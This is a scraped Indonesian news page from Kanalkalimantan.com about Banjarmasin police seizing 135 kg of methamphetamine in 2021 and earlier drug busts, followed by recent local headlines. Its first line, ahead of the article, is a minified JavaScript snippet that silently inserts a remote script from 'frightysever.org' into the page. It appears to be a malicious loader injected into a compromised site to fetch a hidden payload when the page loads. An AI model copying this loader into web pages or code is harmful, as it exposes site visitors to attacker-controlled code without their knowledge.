(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Rekor Tangkapan 135 Kg Sabu, Ini Tiga Tangkapan ‘Kakap’ Narkoba Polresta Banjarmasin!


KANALKALIMANTAN.COM, BANJARMASIN – Keberhasilan jajaran Satuan Reserse Narkoba (Satnarkoba) Polresta Banjarmasin mengungkap peredaran sabu seberat 135,02 kg menjadi rekor baru! Sebelumnya pada November 2020 lalu, Polresta Banjarmasin juga berhasil gagalkan peredaran 42,9 kg narkoba yang terdiri dari 35,7 kg sabu-sabu dan 30.000 butir ekstasi seberat 7,2 kg.

Saat jumpa pers di Mapolresta Banjarmasin, Selasa (15/6/2021), Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, berhasil menangkap tiga tersangka dan mengamankan sabu seberat 135,02 kg.

“Dari tangkapan tersebut, polisi berhasil mengamankan tersangka berinisial AAM, BAH dan ES, beserta barang bukti sabu sebanyak 130 paket, 1 buah mobil dan motor yang digunakan untuk membawa barang haram tersebut,” katanya.

Barang haram yang dibungkus kemasan teh Cina dan di masukan ke karung beras ini berasal dari Malaysia yang dibawa melalui jalur Kalimantan Timur (Kaltim), yang kemudian akan diedarkan di kawasan Kalimantan Selatan (Kalsel) dan Kalimantan Tengah (Kalteng).

 

 

Baca juga: Diangkut Pakai Kelotok dari Kalteng, Sabu 135 Kg Dikemas dalam Puluhan Karung Beras

Sebelumnya, November 2020 lalu Polresta Banjarmasin juga berhasil menyita sebanyak 42,9 kilogram narkoba yang terdiri dari 35,7 kg sabu-sabu dan 30.000 butir ekstasi seberat 7,2 kg.

Lalu pada Desember 2018, Polresta Banjarmasin juga mencatat tangkapan 12 kg. Satu tersangka ditangkap di Bandarlampung (Provinsi Lampung) saat berencana membawa narkoba ke Banjarmasin dari Pulau Sumatera.

Rachmat mengatakan, terungkapnya kasus tersebut berkat informasi masyarakat adanya peredaran sabu-sabu dalam jumlah besar.

Tersangka pertama yang ditangkap Robin Andriawan (24), di sebuah rumah Jalan Pramuka, Kompleks Bina Lestari Semanda 6, Kelurahan Sungai Lulut, Kecamatan Banjarmasin Timur, Kota Banjarmasin pada Senin (2/11/2020).

Polisi menemukan barang bukti 21,7 kilogram sabu-sabu dan 15 ribu butir pil ekstasi seberat 3,6 kilogram. Ditemukan juga uang tunai Rp944.500.000.

Baca juga: 135 Kg Sabu Jaringan Internasional Berhasil Diamankan di Banjarmasin

Kemudian, petugas melakukan pengembangan dengan meringkus tersangka M Solehudin (25) dan Rizki Aldi Putra (26) pada Selasa (3/11/2020) di Hotel Amaris, Jalan Ahmad Yani Km 7, Kabupaten Banjar. Di dalam kamar yang ditempati keduanya, polisi menemukan lagi 14 kilogram sabu-sabu dan 15 ribu butir ekstasi. (Kanalkalimantan.com/tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

7 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

7 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

8 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

13 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

14 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.